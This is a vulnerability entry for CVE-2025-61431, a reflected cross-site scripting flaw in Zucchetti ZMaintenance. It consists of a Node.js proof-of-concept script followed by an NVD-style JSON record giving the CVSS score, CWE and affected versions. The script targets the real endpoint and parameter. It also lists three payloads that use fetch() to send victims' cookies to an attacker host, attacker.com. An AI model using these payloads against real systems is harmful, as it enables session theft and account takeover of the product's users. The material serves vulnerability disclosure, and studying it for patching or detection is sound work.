CVE-2025-61431

// CVE-2025-61431 PoC - Reflected XSS in Zucchetti ZMaintenance // Target: /jsp/gsfr_feditorHTML.jsp // Parameter: pHtmlSource // Basic XSS PoC const http = require('http'); // Encode the XSS payload const xssPayload = '<script>alert(document.domain)</script>'; const encodedPayload = encodeURIComponent(xssPayload); // Construct the malicious URL const targetHost = 'target-server.com'; const targetPath = '/jsp/gsfr_feditorHTML.jsp'; const maliciousUrl = `http://${targetHost}${targetPath}?pHtmlSource=${encodedPayload}`; console.log('[*] CVE-2025-61431 Reflected XSS PoC'); console.log(`[*] Target: ${targetHost}`); console.log(`[*] Malicious URL: ${maliciousUrl}`); console.log('[*] Payload: <script>alert(document.domain)</script>'); console.log('\n[*] When victim visits this URL, the JavaScript will execute in their browser context.'); console.log('[*] This can be used to steal cookies, session tokens, or perform actions on behalf of the user.'); // Alternative payloads: const altPayloads = [ "<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>", "<svg/onload=fetch('https://attacker.com/log?data='+btoa(document.cookie))>", "<script>fetch('https://attacker.com/cookie?c='+document.cookie)</script>" ]; console.log('\n[*] Alternative payloads:'); altPayloads.forEach((p, i) => console.log(` ${i+1}. ${p}`));

{"cve": {"id": "CVE-2025-61431", "sourceIdentifier": "[email protected]", "published": "2025-11-04T20:17:27.823", "lastModified": "2026-02-04T19:49:48.417", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripted (XSS) vulnerability in the /jsp/gsfr_feditorHTML.jsp endpoint of Zucchetti ZMaintenance Infinity and Infinity Zucchetti v4.1 and earlier allows attackers to execute arbitrary Javascript in the context of a user's browser via injecting a crafted payload into the pHtmlSource parameter. A vendor fix was released on 2025-06-18."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zucchetti:infinity_zmaintenance:*:*:*:*:*:*:*:*", "versionEndIncluding": "4.1", "matchCriteriaId": "2A0D0A29-E162-4A02-B2C4-3271E23C18ED"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zucchetti:infinity_zucchetti:*:*:*:*:*:*:*:*", "versionEndIncluding": "4.1", "matchCriteriaId": "10C340F5-D0BE-4577-A408-7CDF045D9F51"}]}]}], "references": [{"url": "https://gist.github.com/alex-xor/8651dbdd413e4fa7240b0ab1b1845d76", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.zucchetti.it/", "source": "[email protected]", "tags": ["Product"]}]}}